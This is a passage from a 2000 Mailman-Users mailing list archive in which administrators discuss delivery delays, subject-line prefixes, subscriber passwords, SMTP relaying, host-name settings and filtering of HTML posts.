   of "Tue, 19 Sep 2000 11:30:20 +0200." <20000919113020.A8715@iskon.hr>
Message-ID: <E13bK9R-0003Kw-00@rioja.localnet>

zvrba at iskon.hr said:
> I switched to sendmail from SMTP injection because of long delays I've
> described before. For the sake of the argument, please create a test
> list and subscribe to it e.g. 100 users from a domain for which the
> DNS is broken (can't be contacted). And see what happens. How long it
> takes qrunner to run. How all other messages will be delayed by
> 100*(connect timeout) minutes etc...

Ugh.  Run a local (network wise, or even on machine) DNS cache.
I run Dan Bernstein's DNS cache to do this (on the mailing list 
machine).  Previously I used the ISP local DNS caches.   This is 
actually for delivery optomisation but catches other things.

> And I can't lower the limit on timeouts because there are really
> broken domains here in Croatia for which connect() delays are > 1 min.
> Not to mention that we serve some lists with people from Uzbekistan
> etc... Reconfiguring the sendmail to lower timeouts is out of the
> question. There is an option to skip initial DNS query, but it had no
> effect. 

I also don't verify recipients on SMTP injection from 127.0.0.1 since 
that routing operation is better done by the MTA routing.  It also 
works better on passing status back to mailman.

However, in this case, I can't help but think of a saying I heard last 
week paraphrased to sendmail rather than a certain OS - "A computer 
without sendmail is like a dog without bricks tied to its head".

	Nigel.
	Nigel.
-- 
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[ Nigel Metheringham                  Nigel.Metheringham at VData.co.uk ]
[ Phone: +44 1423 850000                         Fax +44 1423 858866 ]




From thomas at tgross.net  Tue Sep 19 13:13:03 2000
From: thomas at tgross.net (Thomas Gross)
Date: Tue, 19 Sep 2000 13:13:03 +0200 (CEST)
Subject: [Mailman-Users] Cascading Re: in subject lines
Message-ID: <E13bLKd-0006bf-00@mrvdom02.schlund.de>

Hi,

i have had a small Prblem with Mailman 2.0b5. When listmembers reply
to messages various strings get prepended to the mailheader. Normally
this would be 'Re:'. If this isn?t the case, being here in germany i
have seen ?RE:?, ?AW:? and various others this far, mailman always
prepends another [<listname>] to the header. I have not found a way to
set the regexp mailman uses to detect that the email is an reply to
another previous message in the web admin tool. Is there an easy way
to configure this, or can someone tell me where to look in the
sources?

It's really annoying to get somethins like this as subject:
Re: [Nasen] Re: [Nasen] RE: [Nasen] Gro?e emails.

Could you please reply personally to me in addition to the list,
because i'm not currently subscribed.

	thomas
 




From thomas at tgross.net  Tue Sep 19 15:55:04 2000
From: thomas at tgross.net (Thomas Gross)
Date: Tue, 19 Sep 2000 15:55:04 +0200 (CEST)
Subject: [Mailman-Users] Again cascading Re. Question
Message-ID: <E13bNrP-0008HA-00@mrvdom02.schlund.de>

Hi, 

i think i tracked down the Problem with the cascading Re:s i mentioned
erlier today. In the Subject line were some non US-ASCII characters.
Most MUA will prepend the Charset encoding to such Subject lines. After
this Mailman cannot find the leading Re: anymore. 

Is this a know bug? Are there any Solutions to this?

Here is the offending Subject again. This time not from my MUA but from
the Archive of the Mailinglist.

[Nasen] =?iso-8859-1?Q?RE=3A_=5BNasen=5D_Re=3A_=5BNasen=5D_RE=3A_=5BNa?=
=?iso-8859-1?Q?sen=5D_Gro=DFe_emails=2E?= 

Pretty unreadle! 

Again:
Could you please reply personally to me in addition to the list,
because i'm not currently subscribed.

	thomas
	 



From bwarsaw at beopen.com  Tue Sep 19 17:48:38 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 19 Sep 2000 11:48:38 -0400 (EDT)
Subject: [Mailman-Users] forwarded message from harshama
Message-ID: <14791.35542.747043.767736@anthem.concentric.net>

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From jkcohen at pobox.com  Tue Sep 19 19:10:52 2000
From: jkcohen at pobox.com (Jonathan K. Cohen)
Date: Tue, 19 Sep 2000 10:10:52 -0700 (PDT)
Subject: [Mailman-Users] Passwords for bulk-added users
Message-ID: <Pine.LNX.4.10.10009191006180.12389-100000@viking.ez.net>

Dear Mailmen:

I have just transferred 150 users over from Majordomo to Mailman. using
the "bulk add" textarea in the web admin interface. The problem is, none
of the users now has a password. Without passwords, the users can't modify
their service or remove themselves from the list.

Is there a default password assigned to bulk-added users? Is there a way
to manually assign passwords to these users, either using the commandline
or web interface? Or are these users just stuck?

Sincerely, Jonathan Cohen

--
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Infographic Systems Corp. - 714 890 0083 x 230
Business: jcohen at infographicsystems.com
Personal: jkcohen at pobox.com



From gael at magicnet.org  Tue Sep 19 19:12:03 2000
From: gael at magicnet.org (Gael MARTINEZ)
Date: Tue, 19 Sep 2000 12:12:03 -0500
Subject: [Mailman-Users] Passwords for bulk-added users
In-Reply-To: <Pine.LNX.4.10.10009191006180.12389-100000@viking.ez.net>; from jkcohen@pobox.com on Tue, Sep 19, 2000 at 10:10:52AM -0700
References: <Pine.LNX.4.10.10009191006180.12389-100000@viking.ez.net>
Message-ID: <20000919121203.A339@lena.magicnet.org>

One password is automatically generated per user (did the same change last week)

Gael


On Tue, Sep 19, 2000 at 10:10:52AM -0700, Jonathan K. Cohen wrote:
> Dear Mailmen:
> 
> I have just transferred 150 users over from Majordomo to Mailman. using
> the "bulk add" textarea in the web admin interface. The problem is, none
> of the users now has a password. Without passwords, the users can't modify
> their service or remove themselves from the list.
> 
> Is there a default password assigned to bulk-added users? Is there a way
> to manually assign passwords to these users, either using the commandline
> or web interface? Or are these users just stuck?
> 
> Sincerely, Jonathan Cohen
> 
> --
> Jonathan K. Cohen - Technical Writer, Documentation
> Infographic Systems Corp. - 714 890 0083 x 230
> Business: jcohen at infographicsystems.com
> Personal: jkcohen at pobox.com
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users


From chuqui at plaidworks.com  Tue Sep 19 19:18:13 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 19 Sep 2000 10:18:13 -0700
Subject: [Mailman-Users] Passwords for bulk-added users
In-Reply-To: <Pine.LNX.4.10.10009191006180.12389-100000@viking.ez.net>
References: <Pine.LNX.4.10.10009191006180.12389-100000@viking.ez.net>
Message-ID: <p04330102b5ed4fecdf7e@[17.216.27.207]>

At 10:10 AM -0700 9/19/00, Jonathan K. Cohen wrote:
>I have just transferred 150 users over from Majordomo to Mailman. using
>the "bulk add" textarea in the web admin interface. The problem is, none
>of the users now has a password. Without passwords, the users can't modify
>their service or remove themselves from the list.

they have passwords, they just don't know them. So I'm assuming that 
when you bulk loaded, you turned off having the "welcome" message 
sent, which would have sent them their password.

I'd suggest you run the script that sends out the monthly "you are 
subscribed to, this is your password" message, which'll give them the 
information they need.

Passwords are, FWIW, random, so there's no way you can get them this 
info any other way, unless they each go to the page and have it 
re-sent to them manually.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From bdbeers at digiscents.com  Tue Sep 19 20:36:14 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Tue, 19 Sep 2000 11:36:14 -0700
Subject: [Mailman-Users] Hwo to flush the archives?
Message-ID: <47578F4CE585D311A85D009027D6024137F68B@DIGISCENTSNT>

Is there a way to remove all the messages from an/the archive?

Brian D. Beers
Consultant 
Digiscents.com, Inc.
bdbeers at digiscents.com




From tvinar at math.uwaterloo.ca  Tue Sep 19 21:09:17 2000
From: tvinar at math.uwaterloo.ca (Tomas Vinar)
Date: Tue, 19 Sep 2000 15:09:17 -0400 (EDT)
Subject: [Mailman-Users] Mailman cannot send messages to other hosts
Message-ID: <Pine.SOL.3.96.1000919150554.4228T-100000@hopper.math.uwaterloo.ca>

For some reason mailman cannot send messages to other hosts. Here is a
extract from log file:

Sep 19 14:46:40 2000 TrySMTPDelivery: To tvinar at math.uwaterloo.ca:
Sep 19 14:46:40 2000 TrySMTPDelivery:
Mailman.pythonlib.smtplib.SMTPRecipient
sRefused  / {'tvinar at math.uwaterloo.ca': (550, 'relaying to <tvinar at math.uwaterl
oo.ca> prohibited by administrator')}  (dequeued)

Any ideas what to change and where?

Tomas
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E-mail:	    tvinar at math.uwaterloo.ca
Office:     DC2304, (519)888-4567 ext. 5390               
Home phone: (519)746-7632





From akopps at CSUA.Berkeley.EDU  Tue Sep 19 22:02:16 2000
From: akopps at CSUA.Berkeley.EDU (Akop Pogosian)
Date: Tue, 19 Sep 2000 13:02:16 -0700 (PDT)
Subject: [Mailman-Users] mailman bug?
Message-ID: <Pine.BSF.4.10.10009191255090.6574-100000@soda.csua.Berkeley.edu>

Mailman/Defaults.py lists some variables that control the behavior of
mailman.  The users are expected to leave this file alone and edit
mm_cfg.py in the same directory. One thing that I have noticed is that
in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not override the
value of the same variable in Defaults.py. For example
DEFAULT_HOST_NAME= 'foo'
in Defaults.py while I want it to be "baz". So, I added 
DEFAULT_HOST_NAME= 'baz'
in mm_cfg.py.  However http://listserver/mailman/listinfo still says
"Send questions or comments to mailman-owner at foo"


Akop



From veldy at veldy.net  Tue Sep 19 22:11:12 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Tue, 19 Sep 2000 15:11:12 -0500
Subject: [Mailman-Users] mailman bug?
References: <Pine.BSF.4.10.10009191255090.6574-100000@soda.csua.Berkeley.edu>
Message-ID: <032101c02275$c40035c0$ff01060a@metamoris.com>

You need to edit the particular list configuration as well.  General Options
I believe.

Tom Veldhouse
veldy at veldy.net

----- Original Message -----
From: Akop Pogosian <akopps at CSUA.Berkeley.EDU>
To: <mailman-users at python.org>
Sent: Tuesday, September 19, 2000 3:02 PM
Subject: [Mailman-Users] mailman bug?


> Mailman/Defaults.py lists some variables that control the behavior of
> mailman.  The users are expected to leave this file alone and edit
> mm_cfg.py in the same directory. One thing that I have noticed is that
> in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not override the
> value of the same variable in Defaults.py. For example
> DEFAULT_HOST_NAME= 'foo'
> in Defaults.py while I want it to be "baz". So, I added
> DEFAULT_HOST_NAME= 'baz'
> in mm_cfg.py.  However http://listserver/mailman/listinfo still says
> "Send questions or comments to mailman-owner at foo"
>
>
> Akop
>
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>



From tvinar at math.uwaterloo.ca  Tue Sep 19 22:12:07 2000
From: tvinar at math.uwaterloo.ca (Tomas Vinar)
Date: Tue, 19 Sep 2000 16:12:07 -0400 (EDT)
Subject: [Mailman-Users] Mailman cannot send messages to other hosts (fwd)
Message-ID: <Pine.SOL.3.96.1000919161054.4228c-100000@hopper.math.uwaterloo.ca>

Thanks all who tried to solve me a problem. Here is the reason why it did
not work:

---------- Forwarded message ----------
Date: Tue, 19 Sep 2000 12:59:57 -0700 (PDT)
From: "Jonathan K. Cohen" <jkcohen at pobox.com>
To: Tomas Vinar <tvinar at math.uwaterloo.ca>
Subject: Re: [Mailman-Users] Mailman cannot send messages to other hosts

Dear Tomas:

You need to override the value for SMTPHOST in mm_cfg.py. You are
currently using your own computer (localhost) for a mail server, which is
not configured to relay mail. You either need to supply an SMTPHOST which
allows relaying from your host or alter your own sendmail configuration to
allow relaying from your host. (Modify /etc/mail/relay-domains.)

Best wishes, Jonathan Cohen

--
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Infographic Systems Corp. - 714 890 0083 x 230
Business: jcohen at infographicsystems.com
Personal: jkcohen at pobox.com






From cvbear0 at sweb.uky.edu  Tue Sep 19 22:24:02 2000
From: cvbear0 at sweb.uky.edu (Courtney V Bearse)
Date: Tue, 19 Sep 2000 16:24:02 -0400 (EDT)
Subject: [Mailman-Users] exim and mailman
Message-ID: <Pine.BSF.4.10.10009191622520.8230-100000@sweb.uky.edu>

I have follwed the mailman INSTALL file and the HowTo for exim and
mailman.
I am still gewtting the following message when I post to a new list..
ideas, direction help?

courtneyb


This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  test at lists.uklug.net:
    Child process of list_transport transport returned 2 from command:
    /home/mailman/mail/wrapper


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From akopps at CSUA.Berkeley.EDU  Tue Sep 19 23:27:17 2000
From: akopps at CSUA.Berkeley.EDU (Akop Pogosian)
Date: Tue, 19 Sep 2000 14:27:17 -0700 (PDT)
Subject: [Mailman-Users] mailman bug?
In-Reply-To: <032101c02275$c40035c0$ff01060a@metamoris.com>
Message-ID: <Pine.BSF.4.10.10009191423300.23143-100000@soda.csua.Berkeley.edu>

This doesn't have to do with a particular list option.
DEFAULT_HOST_NAME is a systemwide default for mailman.

This option is configured through Default.py and mm_cfg.py files in
~mailman/Mailman directory.  Like I have mentioned, mailman does not
always honor DEFAULT_HOST_NAME set in mm_cfg.py although it should.

On Tue, 19 Sep 2000, Thomas T. Veldhouse wrote:

> You need to edit the particular list configuration as well.  General Options
> I believe.
> 
> Tom Veldhouse
> veldy at veldy.net
> 
> ----- Original Message -----
> From: Akop Pogosian <akopps at CSUA.Berkeley.EDU>
> To: <mailman-users at python.org>
> Sent: Tuesday, September 19, 2000 3:02 PM
> Subject: [Mailman-Users] mailman bug?
> 
> 
> > Mailman/Defaults.py lists some variables that control the behavior of
> > mailman.  The users are expected to leave this file alone and edit
> > mm_cfg.py in the same directory. One thing that I have noticed is that
> > in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not override the
> > value of the same variable in Defaults.py. For example
> > DEFAULT_HOST_NAME= 'foo'
> > in Defaults.py while I want it to be "baz". So, I added
> > DEFAULT_HOST_NAME= 'baz'
> > in mm_cfg.py.  However http://listserver/mailman/listinfo still says
> > "Send questions or comments to mailman-owner at foo"
> >
> >
> > Akop
> >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> >
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From secabeen at pobox.com  Tue Sep 19 23:34:32 2000
From: secabeen at pobox.com (Ted Cabeen)
Date: Tue, 19 Sep 2000 16:34:32 -0500
Subject: [Mailman-Users] mailman bug? 
In-Reply-To: Your message of "Tue, 19 Sep 2000 14:27:17 PDT."
             <Pine.BSF.4.10.10009191423300.23143-100000@soda.csua.Berkeley.edu> 
Message-ID: <200009192134.QAA24456@entropy.uchicago.edu>

In message <Pine.BSF.4.10.10009191423300.23143-100000 at soda.csua.Berkeley.edu>, 
Akop Pogosian writes:
>This doesn't have to do with a particular list option.
>DEFAULT_HOST_NAME is a systemwide default for mailman.

Where is that documented?  

>This option is configured through Default.py and mm_cfg.py files in
>~mailman/Mailman directory.  Like I have mentioned, mailman does not
>always honor DEFAULT_HOST_NAME set in mm_cfg.py although it should.

Not at all.  DEFAULT_HOST_NAME is the default host name that a list gets when 
it's created.  If DEFAULT_HOST_NAME overrode the list option, then you could 
never have virtual domain list hosting at all.  DEFAULT_HOST_NAME is not a 
systemwide default for mailman, regardless of what you declare it to be in an 
email.  If you want it to be so, modify the code yourself.

--
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From GLeblanc at cu-portland.edu  Tue Sep 19 23:44:57 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Tue, 19 Sep 2000 14:44:57 -0700
Subject: [Mailman-Users] mailman bug?
Message-ID: <025836EFF856D411A6660090272811E61D0746@EMAIL>

> -----Original Message-----
> From: Akop Pogosian [mailto:akopps at CSUA.Berkeley.EDU]
> 
> This doesn't have to do with a particular list option.
> DEFAULT_HOST_NAME is a systemwide default for mailman.
> 
> This option is configured through Default.py and mm_cfg.py files in
> ~mailman/Mailman directory.  Like I have mentioned, mailman does not
> always honor DEFAULT_HOST_NAME set in mm_cfg.py although it should.

Default hostname doesn't override lists that you've already created, IIRC.
Any NEW lists that you create should have the name changed, but pre-existing
lists won't.  It's only sort-of a bug (in my mind).  Or are you saying that
it doesn't honor that for new lists as well?
	Greg

> On Tue, 19 Sep 2000, Thomas T. Veldhouse wrote:
> 
> > You need to edit the particular list configuration as well. 
>  General Options
> > I believe.
> > 
> > Tom Veldhouse
> > veldy at veldy.net
> > 
> > ----- Original Message -----
> > From: Akop Pogosian <akopps at CSUA.Berkeley.EDU>
> > To: <mailman-users at python.org>
> > Sent: Tuesday, September 19, 2000 3:02 PM
> > Subject: [Mailman-Users] mailman bug?
> > 
> > 
> > > Mailman/Defaults.py lists some variables that control the 
> behavior of
> > > mailman.  The users are expected to leave this file alone and edit
> > > mm_cfg.py in the same directory. One thing that I have 
> noticed is that
> > > in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not 
> override the
> > > value of the same variable in Defaults.py. For example
> > > DEFAULT_HOST_NAME= 'foo'
> > > in Defaults.py while I want it to be "baz". So, I added
> > > DEFAULT_HOST_NAME= 'baz'
> > > in mm_cfg.py.  However http://listserver/mailman/listinfo 
> still says
> > > "Send questions or comments to mailman-owner at foo"
> > >
> > >
> > > Akop
> > >
> > >
> > > ------------------------------------------------------
> > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > http://www.python.org/mailman/listinfo/mailman-users
> > >
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 


From Dan.Mick at West.Sun.COM  Tue Sep 19 23:50:58 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 14:50:58 -0700 (PDT)
Subject: [Mailman-Users] Stupid bug?
Message-ID: <200009192149.OAA25882@utopia.west.sun.com>

Not sure I believe "too big"; perhaps there's some other problem
with the alias.  Note the "To:" address below:

Date: Tue, 19 Sep 2000 14:37:43 -0700 (PDT)
Subject: Your new mailing list: test
From: mailman-owner at angus.west.sun.com
To: thisisareallylongemailaddress at angus.west.sun.com
X-BeenThere: test at angus
X-Mailman-Version: 2.0beta5
List-Id: <test.angus>

The mailing list `test' has just been created for you.  The following
is some basic information about your mailing list.

Your mailing list password is:



>  	Hello!
> 
> 	I've found some strange bug in the newlist command... if the
> owner email is too big, it does not warn the owner with the normal
> mail...
> 
> 	With: albie at alfarrabio.um.geira.pt 
> 	it does'nt work
> 	With: jj at eremita.di.uminho.pt
> 	it works!!



From techgrrl at beeze.com  Wed Sep 20 00:16:40 2000
From: techgrrl at beeze.com (Sarah K. Miller)
Date: Tue, 19 Sep 2000 15:16:40 -0700
Subject: [Mailman-Users] Questions from a prosepective user
Message-ID: <01c401c02287$499b0780$1401a8c0@sarah>

I read through the FAQ and documentation but couldn't find the answers to my
questions there. Does Mailman allow for blocking HTML and attachments?

--
     Sarah K. Miller   *   Monroe, WA   *   scba at beeze.com
                      http://www.beeze.com





From akopps at CSUA.Berkeley.EDU  Wed Sep 20 00:21:14 2000
From: akopps at CSUA.Berkeley.EDU (Akop Pogosian)
Date: Tue, 19 Sep 2000 15:21:14 -0700 (PDT)
Subject: [Mailman-Users] mailman bug?
In-Reply-To: <025836EFF856D411A6660090272811E61D0746@EMAIL>
Message-ID: <Pine.BSF.4.10.10009191505590.1756-100000@soda.csua.Berkeley.edu>


On Tue, 19 Sep 2000, Gregory Leblanc wrote:

> > -----Original Message-----
> > From: Akop Pogosian [mailto:akopps at CSUA.Berkeley.EDU]
> > 
> > This doesn't have to do with a particular list option.
> > DEFAULT_HOST_NAME is a systemwide default for mailman.
> > 
> > This option is configured through Default.py and mm_cfg.py files in
> > ~mailman/Mailman directory.  Like I have mentioned, mailman does not
> > always honor DEFAULT_HOST_NAME set in mm_cfg.py although it should.
> 
> Default hostname doesn't override lists that you've already created, IIRC.
> Any NEW lists that you create should have the name changed, but pre-existing
> lists won't.  It's only sort-of a bug (in my mind).  Or are you saying that
> it doesn't honor that for new lists as well?
> 	Greg
> 

I wasn't talking about the list configuratioin. I was taking about the
mailman-admin address which is shown incorrectly when you go to
http://listserver/mailman/listinfo.

Basically we have a server known as "foo.domain" but it is also known
as just "domain" for mail puposes and since DEFAULT_HOST_NAME =
'domain' in mm_cfg.py all lists are configured properly. However if
you go to http://listserver/mailman/listinfo it says "Send questions
or comments to mailman-owner at foo" which is not what we want (it does
not show even the domain part). It seems that to get that URL to be
generated correctly you have to edit Default.py.


> > On Tue, 19 Sep 2000, Thomas T. Veldhouse wrote:
> > 
> > > You need to edit the particular list configuration as well. 
> >  General Options
> > > I believe.
> > > 
> > > Tom Veldhouse
> > > veldy at veldy.net
> > > 
> > > ----- Original Message -----
> > > From: Akop Pogosian <akopps at CSUA.Berkeley.EDU>
> > > To: <mailman-users at python.org>
> > > Sent: Tuesday, September 19, 2000 3:02 PM
> > > Subject: [Mailman-Users] mailman bug?
> > > 
> > > 
> > > > Mailman/Defaults.py lists some variables that control the 
> > behavior of
> > > > mailman.  The users are expected to leave this file alone and edit
> > > > mm_cfg.py in the same directory. One thing that I have 
> > noticed is that
> > > > in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not 
> > override the
> > > > value of the same variable in Defaults.py. For example
> > > > DEFAULT_HOST_NAME= 'foo'
> > > > in Defaults.py while I want it to be "baz". So, I added
> > > > DEFAULT_HOST_NAME= 'baz'
> > > > in mm_cfg.py.  However http://listserver/mailman/listinfo 
> > still says
> > > > "Send questions or comments to mailman-owner at foo"
> > > >
> > > >
> > > > Akop
> > > >
> > > >
> > > > ------------------------------------------------------
> > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > http://www.python.org/mailman/listinfo/mailman-users
> > > >
> > > 
> > > 
> > > ------------------------------------------------------
> > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > http://www.python.org/mailman/listinfo/mailman-users
> > > 
> > 
> > 
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> > 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From Dan.Mick at West.Sun.COM  Wed Sep 20 00:24:58 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 15:24:58 -0700 (PDT)
Subject: [Mailman-Users] Questions from a prosepective user
Message-ID: <200009192223.PAA27717@utopia.west.sun.com>

Not directly, but you can use the "Hold posts with header values"
to implement it.

I've got this in there, which stops most things:

Content-type:.*multipart/.*
:.*text/html.*
:.*text/enriched.*
:.*text/x-vcard.*
Content-Disposition:.*attachment

> I read through the FAQ and documentation but couldn't find the answers to my
> questions there. Does Mailman allow for blocking HTML and attachments?



From chuqui at plaidworks.com  Wed Sep 20 00:26:18 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Tue, 19 Sep 2000 15:26:18 -0700
Subject: [Mailman-Users] Questions from a prosepective user
In-Reply-To: <01c401c02287$499b0780$1401a8c0@sarah>
References: <01c401c02287$499b0780$1401a8c0@sarah>
Message-ID: <p04330126b5ed987dee1b@[17.216.27.207]>

At 3:16 PM -0700 9/19/00, Sarah K. Miller wrote:
>I read through the FAQ and documentation but couldn't find the answers to my
>questions there. Does Mailman allow for blocking HTML and attachments?

you need to use an external filter to do this.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From javier at KJSL.COM  Wed Sep 20 00:29:14 2000
From: javier at KJSL.COM (Javier Henderson)
Date: Tue, 19 Sep 2000 15:29:14 -0700 (PDT)
Subject: [Mailman-Users] Migrating to a new version on a different machine
Message-ID: <14791.59578.692563.173867@karenium.kjsl.com>

	Machine A has Mailman 1.1 with many lists defined.

	Machine B has Mailman 2.0b2 with just a test list defined.

	How do I move the lists from Machine A to B?

-jav


From veldy at veldy.net  Wed Sep 20 00:32:13 2000
From: veldy at veldy.net (Thomas T. Veldhouse)
Date: Tue, 19 Sep 2000 17:32:13 -0500
Subject: [Mailman-Users] mailman bug?
References: <Pine.BSF.4.10.10009191505590.1756-100000@soda.csua.Berkeley.edu>
Message-ID: <006301c02289$750500e0$0100a8c0@veldy.net>

You are probably using a linux machine and it probably has hostname set
incorrectly (as most linux distributions do) as a non-FQDN.  In a shell,
type 'hostname'.  What is the output?  I bet it is "foo" and not
"foo.domain".  That is probably what happened.  It grabbed this value.

In the list admin, general options, there is also this option:

"The list admin's email address - having multiple admins/addresses (on
separate lines) is ok. "

That should be reset to the email address you want.  After that, close your
browser and go back to that page and see if that fixes it (make sure you
aren't viewing a cached page).

Tom Veldhouse
veldy at veldy.net


----- Original Message -----
From: "Akop Pogosian" <akopps at CSUA.Berkeley.EDU>
To: "Gregory Leblanc" <GLeblanc at cu-portland.edu>
Cc: <mailman-users at python.org>
Sent: Tuesday, September 19, 2000 5:21 PM
Subject: RE: [Mailman-Users] mailman bug?


>
>
> On Tue, 19 Sep 2000, Gregory Leblanc wrote:
>
> > > -----Original Message-----
> > > From: Akop Pogosian [mailto:akopps at CSUA.Berkeley.EDU]
> > >
> > > This doesn't have to do with a particular list option.
> > > DEFAULT_HOST_NAME is a systemwide default for mailman.
> > >
> > > This option is configured through Default.py and mm_cfg.py files in
> > > ~mailman/Mailman directory.  Like I have mentioned, mailman does not
> > > always honor DEFAULT_HOST_NAME set in mm_cfg.py although it should.
> >
> > Default hostname doesn't override lists that you've already created,
IIRC.
> > Any NEW lists that you create should have the name changed, but
pre-existing
> > lists won't.  It's only sort-of a bug (in my mind).  Or are you saying
that
> > it doesn't honor that for new lists as well?
> > Greg
> >
>
> I wasn't talking about the list configuratioin. I was taking about the
> mailman-admin address which is shown incorrectly when you go to
> http://listserver/mailman/listinfo.
>
> Basically we have a server known as "foo.domain" but it is also known
> as just "domain" for mail puposes and since DEFAULT_HOST_NAME =
> 'domain' in mm_cfg.py all lists are configured properly. However if
> you go to http://listserver/mailman/listinfo it says "Send questions
> or comments to mailman-owner at foo" which is not what we want (it does
> not show even the domain part). It seems that to get that URL to be
> generated correctly you have to edit Default.py.
>
>
> > > On Tue, 19 Sep 2000, Thomas T. Veldhouse wrote:
> > >
> > > > You need to edit the particular list configuration as well.
> > >  General Options
> > > > I believe.
> > > >
> > > > Tom Veldhouse
> > > > veldy at veldy.net
> > > >
> > > > ----- Original Message -----
> > > > From: Akop Pogosian <akopps at CSUA.Berkeley.EDU>
> > > > To: <mailman-users at python.org>
> > > > Sent: Tuesday, September 19, 2000 3:02 PM
> > > > Subject: [Mailman-Users] mailman bug?
> > > >
> > > >
> > > > > Mailman/Defaults.py lists some variables that control the
> > > behavior of
> > > > > mailman.  The users are expected to leave this file alone and edit
> > > > > mm_cfg.py in the same directory. One thing that I have
> > > noticed is that
> > > > > in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not
> > > override the
> > > > > value of the same variable in Defaults.py. For example
> > > > > DEFAULT_HOST_NAME= 'foo'
> > > > > in Defaults.py while I want it to be "baz". So, I added
> > > > > DEFAULT_HOST_NAME= 'baz'
> > > > > in mm_cfg.py.  However http://listserver/mailman/listinfo
> > > still says
> > > > > "Send questions or comments to mailman-owner at foo"
> > > > >
> > > > >
> > > > > Akop
> > > > >
> > > > >
> > > > > ------------------------------------------------------
> > > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > > http://www.python.org/mailman/listinfo/mailman-users
> > > > >
> > > >
> > > >
> > > > ------------------------------------------------------
> > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > http://www.python.org/mailman/listinfo/mailman-users
> > > >
> > >
> > >
> > > ------------------------------------------------------
> > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > http://www.python.org/mailman/listinfo/mailman-users
> > >
> >
> > ------------------------------------------------------
> > Mailman-Users maillist  -  Mailman-Users at python.org
> > http://www.python.org/mailman/listinfo/mailman-users
> >
>
>
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
>



From Dan.Mick at West.Sun.COM  Wed Sep 20 00:39:40 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 15:39:40 -0700 (PDT)
Subject: [Mailman-Users] Questions from a prosepective user
Message-ID: <200009192238.PAA28400@utopia.west.sun.com>

> >I read through the FAQ and documentation but couldn't find the answers to my
> >questions there. Does Mailman allow for blocking HTML and attachments?
> 
> you need to use an external filter to do this.

Not really true; I'm very happy with the restrictions to headers.
We haven't had an attachment post for over a year.



From bdbeers at digiscents.com  Wed Sep 20 01:14:32 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Tue, 19 Sep 2000 16:14:32 -0700
Subject: [Mailman-Users] from address.
Message-ID: <47578F4CE585D311A85D009027D6024137F6A7@DIGISCENTSNT>

Can the from address be changed to something more "aesthetically" pleasing?

I have a marketing moron in need of readjustment.





From tkikuchi at is.kochi-u.ac.jp  Wed Sep 20 01:14:37 2000
From: tkikuchi at is.kochi-u.ac.jp (Tokio Kikuchi)
Date: Wed, 20 Sep 2000 08:14:37 +0900
Subject: [Mailman-Users] MAILMAN_OWNER (Re: mailman bug?)
Message-ID: <39C7F35D.379555B@is.kochi-u.ac.jp>

> 
> Mailman/Defaults.py lists some variables that control the behavior of
> mailman.  The users are expected to leave this file alone and edit
> mm_cfg.py in the same directory. One thing that I have noticed is that
> in some cases DEFAULT_HOST_NAME set in mm_cfg.py does not override the
> value of the same variable in Defaults.py. For example
> DEFAULT_HOST_NAME= 'foo'
> in Defaults.py while I want it to be "baz". So, I added 
> DEFAULT_HOST_NAME= 'baz'
> in mm_cfg.py.  However http://listserver/mailman/listinfo still says
> "Send questions or comments to mailman-owner at foo"

You should have a line below after re-defining DEFAULT_HOST_NAME in mm_cfg.py

MAILMAN_OWNER     = 'mailman-owner@%s' % DEFAULT_HOST_NAME

It's in Default.py and we should realize it be changed ...
but this is itchy. ;-)

--
Tokio


From Dan.Mick at West.Sun.COM  Wed Sep 20 01:36:55 2000
From: Dan.Mick at West.Sun.COM (Dan Mick)
Date: Tue, 19 Sep 2000 16:36:55 -0700 (PDT)
